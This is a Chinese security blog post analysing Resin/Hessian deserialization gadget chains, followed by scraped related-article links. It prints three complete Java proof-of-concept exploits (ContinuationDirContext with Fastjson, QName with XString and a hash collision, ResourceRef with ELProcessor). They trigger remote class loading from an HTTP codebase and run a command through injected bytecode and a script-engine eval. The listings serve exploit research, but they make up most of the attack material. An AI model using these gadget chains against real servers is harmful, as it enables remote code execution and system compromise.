前言

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的，旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器，它和hessian在一个group里，所以有一定的联系

<dependencies>

  <dependency>

    <groupId>com.caucho</groupId>

    <artifactId>resin</artifactId>

    <version>4.0.64</version>

  </dependency>

</dependencies>

ContinuationDirContext+Fastjson利用链

攻击测试

因为是JDNI，所以还是得注意下jdk版本，这里用jdk8u65

package org.example;

import com.alibaba.fastjson.JSONObject;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;

import javax.naming.Reference;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class resinPoc {

    public static void main(String[] args) throws Exception {

        //URLCLASSLOADER RCE

        Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();

        jsonObject.put("f12",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        baos.write(67);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(jsonObject);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

}

流程分析

之前研究过Hessian反序列化，没想到它会触发反序列化对象的toString方法，经过调试，在过完最后那个map.put(in.readObject(),in.readObject())后，obj就是要反序列化的对象，这里有个字符拼接，所以触发了obj.toString()



这里简单提一下，接下来看正式的流程，既然这里触发了JSONObject的toString方法，说明就能任意调用getter了，我们给JSONObject传入的对象是ContinuationDirContext，这里直接给出调用的getter方法，

ContinuationContext是ContinuationDirContext的父类

ContinuationContext#getTargetContext()

我们在这个getter方法上打个断点



进入NamingManager.getContext，这里面的cpe是我们恶意构造的





跟进getObjectInstance方法



这个引用一个对象工厂



进入里面会进行类加载



最终是通过URLClassLoader进行类加载的

toString+Qname利用链

toString的触发方式有很多，这里采用HashMap+XString来触发

package org.example;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import com.caucho.naming.QName;

import com.sun.org.apache.xpath.internal.objects.XString;

import sun.reflect.ReflectionFactory;

import com.alibaba.fastjson.JSONObject;

import javax.naming.CannotProceedException;

import javax.naming.Reference;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class XstringChain {

    public static void main(String[] args) throws Exception {

        Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

        QName qName = new QName(ctx, "boo", "gii");

        String unhash = unhash(qName.hashCode());

        XString xString = new XString(unhash);

        HashMap<Object, Object> map = makeMap(qName, xString);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(map);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

    public static String unhash ( int hash ) {

        int target = hash;

        StringBuilder answer = new StringBuilder();

        if ( target < 0 ) {

            // String with hash of Integer.MIN_VALUE, 0x80000000

            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )

                return answer.toString();

            // Find target without sign bit set

            target = target & Integer.MAX_VALUE;

        }

        unhash0(answer, target);

        return answer.toString();

    }

    private static void unhash0 ( StringBuilder partial, int target ) {

        int div = target / 31;

        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {

            if ( div != 0 )

                partial.append((char) div);

            partial.append((char) rem);

        }

        else {

            unhash0(partial, div);

            partial.append((char) rem);

        }

    }

}

unhash的目的是为了绕过hashmap的hashcode判断，进入equals，这个链不是通过hashmap的readobject触发，之前讲Hessian我们说过Hessian反序列化的流程里面会触发hashmap的put方法，那么就会调用hashcode或者是equals。





触发QName的toString方法



进入composeName



调用getTargetContext，然后就是上面那条链了

ResouceRef+ELProccessor RCE 利用链

我本地测试没成功，在实例化javax.el.ELProcessor时的时候throw了一个java.lang.reflect.InvocationTargetException，很麻

package org.example;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassClassPath;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.naming.ResourceRef;

import sun.reflect.ReflectionFactory;

import com.alibaba.fastjson.JSONObject;

import javax.el.ELProcessor;

import javax.naming.CannotProceedException;

import javax.naming.StringRefAddr;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class ELProcessChain {

    public static void main(String[] args) throws Exception {

        ClassPool pool = new ClassPool();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass cc = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        cc.setName(randomClassName);

        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] bytes = cc.toBytecode();

        String s1 = Base64.getEncoder().encodeToString(bytes);

        System.out.println(s1);

        String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";

        //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";

        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);

        resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));

        resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(resourceRef);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();

        jsonObject.put("f12",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        baos.write(67);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(jsonObject);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

    public static String unhash ( int hash ) {

        int target = hash;

        StringBuilder answer = new StringBuilder();

        if ( target < 0 ) {

            // String with hash of Integer.MIN_VALUE, 0x80000000

            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )

                return answer.toString();

            // Find target without sign bit set

            target = target & Integer.MAX_VALUE;

        }

        unhash0(answer, target);

        return answer.toString();

    }

    private static void unhash0 ( StringBuilder partial, int target ) {

        int div = target / 31;

        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {

            if ( div != 0 )

                partial.append((char) div);

            partial.append((char) rem);

        }

        else {

            unhash0(partial, div);

            partial.append((char) rem);

        }

    }

}

说下大致流程，前面的步骤一样，到这里，进入getObjectInstance



这里beanClass是javax.el.ELProcessor，本来实例化后再往后就会取值进行调用执行了，但是在这实例化处si了



这里invoke，rce

Resin反序列化链分析的更多相关文章

  1. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  2. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  5. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  6. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  7. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  8. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  9. java反序列化-ysoserial-调试分析总结篇(7)

    前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...

  10. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

随机推荐

  1. leetcode 春季比赛3题 二叉搜索树染色

    其实和二叉搜索树一点关系都没有. 每个点的颜色只取决于最后一次包含该点的操作.用 set 维护所有颜色待确定的点,倒序处理询问,每次利用 lower_bound 方法从 set 中取出所有在询问范围内 ...

  2. 崩溃bug日志总结1

    目录介绍 1.1 java.lang.UnsatisfiedLinkError找不到so库异常 1.2 java.lang.IllegalStateException非法状态异常 1.3 androi ...

  3. Excel多列求平均值

    数据源如下所示 需求描述:现在需要根据水果名称和月份求出对应水果的平均单价 一.添加一列辅助列(=A2&B2) 二.Ctrl+A选择所有数据插入数据透视表,选择辅助列到行,客单价到值(值字段设 ...

  4. html 本地预览图片 图片上绘制矩形框

    效果如图 完整html代码如下 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" / ...

  5. AXI-自定义IP-PS设计

    基于AXI4的自定义IP核的设计 1.实验目标 利用vivado中内置的AXI总线初始化的IP核设计工具,将自己设计的流水灯的PL代码打包成IP核外设,挂在PS上,通过PS上的按钮控制流水灯的开始和结 ...

  6. RelationNet：学习目标间关系来增强特征以及去除NMS | CVPR 2018

    论文基于NLP的注意力机制提出了目标关系模块,通过与其它目标的比对增强当前目标的特征,而且还可以代替NMS进行端到端的重复结果去除,思想十分新颖,效果也不错   来源:晓飞的算法工程笔记 公众号 论文 ...

  7. KingbaseES V8R3 集群运维案例--kingbase_monitor.sh启动”two master“案例

    案例说明: KingbaseES V8R3集群,执行kingbase_monitor.sh启动集群,出现"two master"节点的故障,启动集群失败:通过手工sys_ctl启动 ...

  8. .NET开源、免费、跨平台的Git可视化管理工具

    前言 俗话说得好"工欲善其事,必先利其器",合理的选择和使用可视化的管理工具可以降低技术入门和使用的门槛.今天大姚给大家分享一款.NET Avalonia开源.免费.跨平台.快速的 ...

  9. 无法进去wordpress后台，也不能修改密码怎么办？wordpress无需下载插件修改代码配置SMTP发送邮件（网易邮箱）

    (解决不能进入wordpress后台,忘记密码,找回密码时提示站点邮件配置失败的问题,配置好之后即可通过邮件重置wordpress密码) 使用ssh工具远程连接自己的服务器(Xshell或者服务器自带 ...

  10. 实现一个简单的echarts词云图PythonFlask

    cloud.html 1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta char ...